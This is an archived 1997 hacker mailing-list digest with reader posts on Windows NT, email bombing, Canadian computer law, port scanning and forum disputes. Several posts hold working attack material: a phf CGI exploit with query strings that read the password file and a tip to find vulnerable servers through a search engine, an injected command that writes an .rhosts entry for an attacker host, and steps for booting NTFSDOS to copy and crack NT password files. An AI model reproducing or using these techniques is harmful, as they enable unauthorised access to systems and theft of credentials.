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Happy Hacker Digest March 13-14, 1997
      This is a moderated list for discussions of *legal* hacking.
           Moderators: Carolyn Meinel and Ruben D. Canlas Jr.

            OR to the Hackers forum: http://www.infowar.com
Digest archives are held under the "New" button at the Infowar site

               Please don't send us anything you wouldn't
              email to your friendly neighborhood narc, OK?

        To subscribe or unsubscribe,
  use the subscribe boxes on the menu bars, please.. If you decide
you just want to use the forum and not get these mailings, we promise
       our feelings won't get hurt if you unsubscribe from this list.
                       H a p p y  h a c k i n g !
URL 'O the Day: http://ds2.internic.net/rfc/rfc1700.txt. Read it and you'll
be in for some happy port surfing!

   o Notes from the Moderator
   o Another Internet Explorer Bugs Finally Makes News
   o Windows 95 and NT Hacking
   o Canadian Law
   o How to Catch Email Bombers
   o More Cracking Techniques
   o Shell Account Question
   o How to find IP Addresses
   o Port Surfing
   o Looking for Halifax, Nova Scotia hackers
   o Fighting ICMP Attacks
   o Rants, er, Calm, Reasoned Discourse

The Infowar IRC channel was shut down temporarily due to hacker wars. But
we'll be up again with the help of several volunteers from this list who
will serve as IRC cops. We'll announce their names/handles shortly. We also
are negotiating with the ISP that provides the server for our Infowar forum
to more RAM so the forum will respond faster. In the meantime, however,
please remember that we can get your posts up faster at the forum. And your
work will be posted where over 50,000 people per week can see it, as
compared to the only 2,300 readers of this list.

Help, we could still use more volunteers for moderators! We will soon launch
the intermediate hacker list, but the volume of really great posts suitable
for the beginner list is still likely to continue to be high. Our apologies
to those of you who have sent us great material that we haven't published yet.

Perhaps the best solution may be to split the beginner list into several
topics, for example Linux, Windows hacking, IRC? If there are any volunteers
out there, please contact us!

Another Internet Explorer Bugs Finally Makes News
According to a recent Associated press report written by Tim Klass,
"Double-clicking on icons to run programs as in normal Windows operations,
the defect would allow the operator to run programs secretly on another
computer, send electronic mail under someone else's name, severely damage
software stored on a hard drive or wipe out the hard drive altogether."

Moderator: Remember folks, you first saw this bug on the Happy Hacker
Digest, Feb. 6, 1997, as reported by N-Treeg (n-treeg@ix.netcom.com). Kudos
to N-Treeg ! Hey, all you journalists on this list, why didn't any of you
report this earlier?

Windows 95 and NT Hacking

From: streetrod@etsc.net (Joel Sexton)

>The person who runs the library at my school is an evil witch
>who likes to spoil fun. When me and my friend got busted for
>using the network for a game of Quake she said that us "hackers"
>would never be let back in, ever again!

Ah, I Know How "Library Witches" Can Be!

>Time passed and we where not even allowed even near the library
>entrance. But now that the windows NT network is up she said that if
>we could hack her network and show her how we did it that she would
>let us back in.  Us, being labeled as the elite of the school took it
>as a welcome challenge.  BUT here is where the trouble starts. She has
>the disk WRITE PROTECTED. And since debug wont work properly with the
>permissions set like they are we cant do anything with that either.
>We tried for hours.. we even tried pinging down the server at no
>avail.  WE NEED YOUR HELP.. give us any ideas you have please!!!

OK, the m$ dragon rears it's reeking' head again (but it is soon to be cut!)
OK, this Librarian (insert not so very nice word) thinks she's got you, ehh?
She better think Again!  OK, there's this handy little utility I found on my
Internet explorations...
It's called ntfsdos, if you know a lot about NT, you should be able to
figure out what It does from the name.  But I will assume that you don't.
Ntfs is the winnt replacement For the DOS fats (file allocation tables).
Ntfs is only readable by NT, so making a DOS Bootdisk and trying your luck,
is no good.  This little utility acts as an interpreter For your DOS
programs and allows you to boot from a DOS disk and read ntfs partitions And
barabing-baraboom, NT is at your feet.  You can use any DOS program to read
the NT HD, you can copy files from the NT HD.  It may be write-protected,
but it isn't Read-protected!  So, this is what you do, Go to
http://www.ntinternals.com/ntfsdos.htm read the crap, download ntfsdos.zip
(it's at the very bottom of the page). Now create a system disk of DOS (not
win95 as it is harder to mess with using ntfsdos).  Unzip ntfsdos to the
system disk.  Create an Autoexec.bat file that will run ntfsdos upon boot
up, then copy the password file to your disk, or view em, or whatever!  I'm
not really sure how NT passwords work, but once You have control of the
system, you can get the files, then find some sort of utility to Crack em,
if they are encrypted.  Then you have the admin password!  The admin Won't
be able to do anything, but not let access to the file server to keep it
from Happening!  Oh yeah, you will have to do this from the file server, if
I didn't say so before!  Hope that helps, hope you learned! Thanx!

~~YeddisH MonoxidE~~


Sender: karpet@goodnet.com

Dear Carolyn,
Got a ? for you about win95.  As you know, not all shareware programs come
with uninstall icons, and they often don't show up in the add/remove div of
control panel.  I have noticed, newbie that I am, that a trace or record of
some kind is being left behind when I delete these shareware programs
manually.  For example, if I have 25 days left in my trial run when I
delete, and several weeks later I download/install the same program again,
the nag screen on the new program tells me I now have 24 days left in my
trial run.

My ? is, where are these traces left behind,(in the registry?) and how can I
get at/erase them?

Moderator: The book _Secrets of Windows 95_ has an entire chapter on how to
read and edit the Win95 Registry. Evil Genius tip: if you learn how to edit
the Windows Registry, you have TOTAL control over the system.


Please Post Anonymous.

I am a Network tech and recently the VP of IS comes to me and
says that he wants to know what is on a certain workstation's
hard disk.

Here's the Setup:
The workstation is 45 miles from my location.  It is a DOS/Windows
Netware client running IPX only.  He logs onto a Netware server at
his location which is connected to my main ring.  So I have access to
his server even his machine via IPX.

How can I get a directory listing?  Is there an NLM out there that I
can run on his server that would allow me to view his hard disk

We have thought of Pcanywhere and net remote, but are not feasible
solutions.  We even thought of backing up his hard disk with
Upstreams Ultra.  But that may not work either.

Thanks and kudos the Carolyn! Great list I read it religiously.



From: k1neTiK <samk5@IDT.NET>

Below is cut/paste of a .REG file that will turn off a large majority (at
least the important ones) of the policies can be invoked on a workstation
running Windows95.  I wanted to send this out so all those people who are at
work, and have had their administrator invoke policies on them they don't
want. It took me a while to find all this stuff in the registry, but here it
is(but first a few notes)

1 - You will want to cut/paste the following into a file called
2 - Double click that file, and it will import that information
    into the registry.
3 - You will then be free from those pesky little policies.
4 - Keep in mind though that the next time you logout/logon
    the Administrator may push those policies back down to your
    workstation and you may have to turn them off again.














                             [END of message text]
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  PINE 3.91   MESSAGE TEXT           Folder: INBOX  Message 178 of 433 END


Canadian Law

From: Vithar <vithar@connect.ab.ca>

> 1) All the laws that you refer to are of course American, but what about
> Canadian law? Would you happen to know what there is on the books re:

  I don't know about extradition etc. but here's the relevant material
that I could find in the Criminal Code of Canada ( Sorry, it's a bit long

342.1(1) Unauthorized use of computer

342.1 (1) Every one who, fraudulently and without colour of right,
(a) obtains, directly or indirectly, any computer service,

(b) by means of an electro-magnetic, acoustic, mechanical or other
device, intercepts or causes to be intercepted, directly or
indirectly, any function of a computer system, or

(c) uses or causes to be used, directly or indirectly, a computer
system with intent to commit an offence under paragraph (a) or (b) or
an offence under section 430 in relation to data or a computer system

is guilty of an indictable offence and liable to imprisonment for a
term not exceeding ten years, or is guilty of an offence punishable on
summary conviction.

430(1.1) Mischief in relation to data

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data;

(d) obstructs, interrupts or interferes with any person in the lawful
use of data or denies access to data to any person who is entitled to
access thereto.

430(2) Punishment

(2) Every one who commits mischief that causes actual danger to life
is guilty of an indictable offence and liable to imprisonment for

430(5) Idem

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for
a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

/-----  /\oo/\ Debian ! /\oo/\ ----------------------------------------\
|                                      |  The more clocks you have ... |
| vithar@connect.ab.ca                 |  .....  the less sure you are |
| http://www.connect.ab.ca/~vithar     |  of what time it is !         |

How to Catch Email Bombers

From: bbuster@succeed.net (Bronc Buster)

>I have and idea of how to stop mail bombs.  sendmail could be modified so
>that it scans all messages for signs of Mail-Bomb script.  If it does find
>it, then it sends it to the sender, not the receiver.  That would put an
>immediate end to all of the problems, and teach the stupid kids not to use
>mail bomb programs!
>                            Ryan Barrett;
>                       RadBite@aol.com;

 I had to reply to this..... For all of you who don't know, there is no
"mail-bomb" script to detect, or any tell tail mark that says "this is an
e-mail bomb".  For anyone who might of missed it, I posted to the list a few
weeks ago on how to look at a header and see where an e-mail bomb came from.
SMTP is SIMPLE mail transfer protocol, see the first word?

 My filter that is set up on my BSD system simply checks for the number of
e-mails from a domain in a certain about of time. If that time limit is
broken, from then on they are just rejected. This is a simple filter you can
get on the net, but as Rouge Agent pointed out, people are to apt to ASK/BEG
for information, rather than try to find it themselves. I did a net search
for one on Excite and got 1895 hits without being to exact...

Regards                   \__ ^^ __/
   BB                        X  X
                             \  /


Sender: jericho@dimensional.com

>    The difference between the Internet Explorer bug and email bombing
>    programs is that there is a simple fix that will solve the Internet
>    Explorer bug. But in the case of email bombing, the fixes are
>    partial and all have serious disadvantages. There are those in the

No, not all solutions have serious disadvantages. Many people have thought
of a workable solution that would take very little effort in the long run.

1) server level authentication
2) an "external" sendmail configuration file. This file would basically
act as an 'allow' file, listing which sites could do anything more
than deliver mail. If you don't come from a 'trusted' site (listed
explicitly in that file), then you can only drop new mail.

This kind of coding would not be difficult at all.

>    computer security industry -- for example Winn Schwartau (and
>    myself)-- who regard email bombing as the single most pressing
>    problem for the Internet today. I'm afraid email bombing will

How can you say it is that big of a problem when you also talk about how
easy it is to counter? It is pretty difficult to counter a SYN flood
unless you upgrade to a new kernel (which is not always fun). Since it is so
much harder to counter, that should be a little more pressing of a
problem. Or how about IP Frag attacks? Seems to me those will be a MUCH
bigger problem than any mail bomb could ever become.

>    continue to be a growing lamer fest (as you so succinctly put it)
>    until we work a better technical solution. But the Internet
>    Explorer bug will soon be history.

Only to be replaced by another...


From: GR8GUY <cyoung@northernnet.com>

I would like to say that email bombing is very lame and most of the people
who make those programs realize the risk of using them and don't use the
program themselves.  Besides that the people who make those know how to do
REAL hacks and don't email bomb!! however what some hackers need to do is
get some ethics and stop putting email bomb crap all over there page! Yes,
email bombing is kewl but when the IP in the headers is tracked down then
don't a DNS search on it...then email the IP and date that you received the
email bomb to the admin of IP you searched the guy is busted...all the admin
has to do is check his log file and by the IP (Internet protocol) he will
know what user was doing the email bomb then take appropriate measures!!
time to stop spreading email bomb crap around the net everyone its fun to
learn, but lame to use!! and with identd growing very few servers are
anonymous!! time to move on b***** b*****... (Name foobared by moderator to
keep idiots from running to this email bomb site and launching a lamerfest)
                        #  http://www.northernnet.com/cyoung #
                        #                                    #
                        #   power flows out of the beauty    #
                        #          of the baud               #

More Cracking Techniques

From: Anonymous FTP <ftp@ferberts.com>

  phf bug
  7 March 1997

  This article is about using the cgi-script 'phf' to break into remote

  The phf cgi-script is supposed to provide a phone number lookup-
  service.  But specific queries can be sent to it to run arbitrary
  commands on the remote system.  For example:
  displays the password file.  a different query like
  ?Qalias=x%0a/bin/uname%20-a shows what kind of system is running.  The
  phf bug can let you remotely examine the entire system to find bigger
  holes to exploit.  The 0a is '\' and the %20 is a space.  You can
  insert any special character into the query with these control codes.

  The phf bug is widely known, so it is tough to find a server with this
  cgi-script installed.  Luckily, many servers advertise what is on
  their system through publicly available statistics pages.  To make
  things even easier, web spiders often index these statistics pages.
  On Altavista for example, a search of '+cgi +phf' will return a mother
  lode of phf vulnerable servers.

  Using this method, I found a server with these two entries in the
  password file:

       ftp::0:0:Anonymous FTP:/home/ftp:/bin/csh
       sunsync::0:0:Sun Sync:/usr/lib/sync:/bin/csh

  Anyone in the world can log into this server without a password and
  get a root shell.  This server has been hacked already.  The phf bug
  has turned up more than a few passwd files, some of them shadowed, but
  most not.

  The important thing is to make sure that the phf script is deleted
  from any machine that is running a web server.  Many older Unix
  distributions (the one above is from a system running SunOS) come
  preloaded with phf.  It is most commonly found in /home/httpd/cgi-bin/
  in systems running Apache.  Delete it or run 'chmod 0 phf'.

  Coming Soon... Installing and Finding Back Doors


Please anonymize me.

 I was actually kind of surprised when I got OD phreak's long command
(http://,,,.,,,.,,,/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd) from a
previous guide to work. If you haven't tried it yet, try it out now.
I got the password file, but it was shadowed. Can I edit this to
get the shadowed file or any other valuable files?

One last thing: If you telnet to prez.cn.camriv.bc.ca, you can login as
lynx and get a free (legal) lynx browser account (it's just like logging
on as a guest). Are this means that any site you go to doesn't know who
you really are. What kind of things would this account be good for?


From: Warpy <root@null.net>

I was wondering about the following. Is it possible for someone to remotely
create a .rhosts file in a users directory in a remote server. The command
appended to /cgi-bin/ would look something like the following...

http://targethost.com/cgi-bin/finger?user; \echo root@evil.com >

Is this possible? If not are there any other ways remote users could
exploit a vulnerable cgi server to allow remote access?



Sender: NiNo@main.rgv.net

I would like to know, what other methods besides finding the passwd file
and or shadow  file there are in getting into an ISP.  For knowledge's sake
of course.  If you finally do get the passwd file and it has *'s then you
got to find the shadow, if you do and it is ROOT readable only, then what?
Does that mean your out of luck?  Flame on....

ThE neWbIe HaCkErS LoVe To HaTe,

 [--NiNo@RgV.NeT   * SkAnkIn' yO' WaY soOn*--]
            ***I RuLe So  yOu DoNt HaVe To ***
                ** http://www.rgv.net/~nino **

Shell Account Question

From: Engineering Practice Pty Ltd <cdep@jimi.vianet.net.au>

I was just wondering can you download stuff from your shell account to
your home  pc(i.e. mail )?  I looked at the help files but couldn't find
anything that would help

Moderator: Use a file transfer protocol (FTP) program. There are many really
good ones free for the download on the Web, and one is included in the Win
95 operating system. On some systems kermit downloads will work, too.

British Hacker Note (from a Swedish hacker)

From: Iggy Drougge <optimus@canit.se>
British hackers out there should read alt.ph.uk, be sure to pick the FAQ up

How to find IP Addresses

Sender: wolak@wolak.com

There is a clever way to find someone's IP address. It uses a Java
(great language) applet. The applet is allowed to look at only a few
things about a host machine, and one of them is the host's IP. Also,
applets are allowed to open up sockets to the server they came from.
So, it's possible to write one that reads the host_IP and sends it back
to a program on the server that records it. The same could be done with
an application on his computed that does the same thing.
  Hope this helps.
 Etaon Rish

(It's a very easy couple of programs. take only a couple of minutes to
write. If you are too lazy, e-mail me and I'll send you the code. If you
don't know Java, I _HIGHLY_ recommend it.)

Port Surfing

From: ae630@freenet.unbc.edu (Tim Gutteridge)

 I have been port surfing and have found some unusual ports:

1. On some machines, you get something called SSH on port 22. It allows
   you to enter one command and then boots you off. Man, help, and ?
   don't do anything.

2. I forget what port it was on, but I found daemons (I hope I used that
   word right) called Rwrited and RWP. It was like some kind of weird

I have 2 questions:

1. What are these programs?

2. What can I do to find the function of a port that I can access but
   can't seem to make do anything?

_____    _____
  |      |   __
  |IM    |____|UTTERIDGE ae630@freenet.unbc.edu

Carolyn: SSH is Secure Shell, and is a program that Jericho thinks will keep
me out of his computer.  To learn just about everything about SSH, see

To find the functions of ports that you can't get to do anything, one way is
to use your shell account.

First, change to the /etc/ directory:

->cd /etc

Then command it to print it out to your screen with:

 ->more services

Or surf over to the RFC (request for comments) that covers all commonly used
port assignments. You can find a copy of this RFC at
http://ds2.internic.net/rfc/rfc1700.txt. Read it and you'll be in for some
happy port surfing!

Looking for Halifax, Nova Scotia hackers

Sender: uberkool@istar.ca

hey, I'm looking 4 other computer literates;) in the Halifax, Nova
Scotia area. looking 4 the experienced, but talented, devoted newbies
may be considered. just want to start a small group of @4-5 with like
minded;) others to share info;) experiment=;)learn;) and hang out with.
send your replies to: uberkool@istar.ca and call the attn to: the
siliconCoWbOy, with a subject: group5 later.
ps- don't waste my time with AOLame.
thank u.
pss-no hackerz.

*** What's that Mame? Why, I'm a CoWbOy.***

Fighting ICMP Attacks

Is there anyway to block an ICMP or similar denial of service attack?
Someone told me one could firewall the offending IP...if so, how?


Moderator: Get your ISP to block the offender at the router, just reject all
packets from that IP address. But then there is IP spoofing, which can
subvert a block at the router level..

Rants, er, Calm, Reasoned Discourse

From: me38@juno.com (Certian Ly Notme)

>   So then why doesn't jericho give me that notarized statement so he
>   can prove to everyone that I'm an idiot?
Why should he publicly expose his true identity to an idiot (a reporting
idiot at that!) just to prove that she can't break into his box?  That
doesn't follow any pattern of logic that I can think of.

Anyway, if you were any (insert expletive here) good you could break into
his box without him even knowing about it.  And if you did break in, and he
did find a trace of you in there and he reported you to any authority
whatsoever I'll pay you $500.  CM you can't do it.  All you do is take what
other people say and write it down.  In terms of writing you are what you
try to do with computers:  You're an HACK.  It's people like you that don't
deserve to live.  Your life is pathetic.  You have no purpose.  You do no
good.  You take others knowledge and exploit it or pretend that it is your
own.  If I didn't think you'd have a friend do the actual hacking, I'd offer
you 10 grand to break into my box.  But I think your word is about as
honorable as a priest's or a politician's.

--Incidentally, no one got the joke eh?


From: Nathan <nathanp@worldchat.com>

If you happened to see my post to the list a while ago you may have read
that a hacker who I apparently upsetted on IRC one day hacked into a server
under MY name.  Well we got him!  Some friends and myself got his IP address
(after searching through MANY longs) and then emailed it to the server he
was in.  Turns out...HE WORKS FOR THEM!  Needless to say this man was caught
and fired.  I really didn't want him fired or anything and I rather
respected his intelligence (just now how he chose to use it).  I'm currently
trying to get the other guy who he got booted off his ISP to drop his
statement and get this guy off the hook.  Am I wrong to do this?
Am I wrong for not hating this guy?


Sender: cybogurra@hotmail.com
Hello there Happy Hackers!
That was my first reaction when I read that people were complaining about
"getting 25k/day". That's nothing. If you're not up to reading, don't bother
to hack. Who am I to say so? Well I AM a newbie, just like most people on
this list. A newbie to hacking that is. I've been into computers for 8 years
now, coding asm n' c++ on atari, amiga, and for the last three years, the
pc, and yes, I've learned most about that stuff by my self, reading mostly
other peoples code and online docs in order to learn. But hacking is
different. It will get you in jail if you screw up, not just give you
"Syntax error". So, other than having the will to explore systems and being
smart, u should also be able to read straight through those boring unixbooks
and man pages. Read a *lot*. So, what I want to say is I wouldn't mind
getting 100k/day from the hhlist. (..and no...That is NOT an mailbombing
invitation ;) If u don't like to read. Don't. But don't drag the rest of us
with u into ignorance. It also struck me the other day, that all those '1337
d00dz is doing the right thing being such a******* on IRC. If every hacker
would be helpful, and feed newbies with exploits on silver plates, those
newbies wouldn't learn shit. Other than how to go to jail. If a newbie would
care to walk down to the city library on the other hand, and get a good book
on Unix or whatever, he/she will learn a lot more. Am I wrong? I don't think so.

I also have a question. I've ran into a system that seems to bee really
old, and the sisal has to be a moron. It runs smail 3.something,
telnet, netstat, finger, pop2, well.....basically everything a hacker could
wish for. But I'm curios, when I telnet it says "Tunix login:". Huh?
Tunix? What the F*** that? What kind of computer does it run on? I'd be
happy if someone could just give me some info on that. Thanx for your
time, and I sure do hope this gets posted. Oh, and by the way, I think
censuring bad language is a threat to free speech.


Sender: jericho@dimensional.com

>    Besides, we are getting way too many excellent posts. The trouble
>    is that many readers are complaining about getting 25 kb/day from
>    this list. Right now we are badly backlogged, too. Post to Infowar
>    and we'll get your post up within 36 hours, whereas you may wait
>    for 5 or 6 days on this list.

The other problem is bandwidth. I am sitting on a T1 and will wait for 10
minutes for one page to load. The server that hosts that site needs a
little more RAM, and a little more bandwidth.


>    But the NeXt holes are old and unpatched, so oftentimes serious
>    crackers have all the tools they need to crack them already on
>    hand.

So explain that -froot bug working on one recent kernel revision for
Linux. :) Many linux and sun bugs have gone unpatched.. and I would say
more than Next.


>    systems? I mean eventually any dialup no matter how routed can be
>    traced back to a base number somewhere and other than cell clones I
>    can't conceive other untraceable methods. Wouldn't detection be as
>    easy as asking telephone companies to show their logs or something?

Remember, CID is not effective as a means of tracing. As for
"untraceable", there is no such thing. What should be considered is how
much effort will feds put into a trace? In the case of Mitnick, they went
above and beyond any normal investigation. I can also cite another good
example local to me where the FBI couldn't figure out how to trace through a
PBX. So, they kinda closed shop and left the ISP to fend for themselves.

>    And isn't cell cloning expensive?  It's been a question I've been

Not really. For quick and easy cloning, it takes nice cables which should be
store bough, but isn't required. Some cell phones (very few) can be done
through keypad, so it costs nothing beyond the cost of the phone.

>    prime GALF targets. The modus operandi is to break into a computer,
>    send threatening and obscene messages to email addresses found on
>    the system, and then erase the system files. Breaking tactics
>    typically begin with sniffed passwords, followed by installing a
>    program that allows telnet into a root shell.

To be fair, remember that GALF doesn't delete files from all systems.
There are several that are left virtually untouched after intrusion.


> Moderator:
>    So then why doesn't jericho give me that notarized statement so he
>    can prove to everyone that I'm an idiot?

have posted to this list half a dozen times saying you are welcome to do it.
I offered to post the same in any newsgroup or other mail list. I even
offered to digitally sign that letter. That is the best you will get.


>    So you're going to cut him in on some of the profits, right? Last I
>    checked, Netly News owed him 150 bucks for an article he wrote. He
>    told them to hold the tab for now.
> Moderator (aside):
>    (You know and I know that Angry Johnny email bombed me as a free
>     public disservice that just happened to backfire on him to my
>     advantage.  But, hey, if you think email bombers should be paid by
>     their targets, why not run an ad in Infoworld or 2600 offering to
>     email bomb anyone who will pay your for the 2 minutes it takes to
>     carry out the attack?)

How can you say it backfired on him? He got his message across. That was
his only goal. Mission accomplished. Either way, if you are using him as a
writing source to tap into this 'gold mine', I think you should include him
in your profits. Just like we originally argued that if you use material
from this list that some of us post, you should cut us in on it too.

Carolyn: I would be happy to email bomb you, jericho, if you and your ISP
will both give me a notarized statement authorizing me to bomb you, and
setting the terms of  payment for my act. Let's see, it takes about two
minutes to email bomb, I think I will charge you $4,000. Surely you are
smart enough to turn an email bombing into a goldmine.

As for me or any of the other journalists on this list using your material,
rest assured that the Bern copyright convention protects your writing.
However, there is no copyright on ideas.
Carolyn Meinel
M/B Research -- The Technology Brokers

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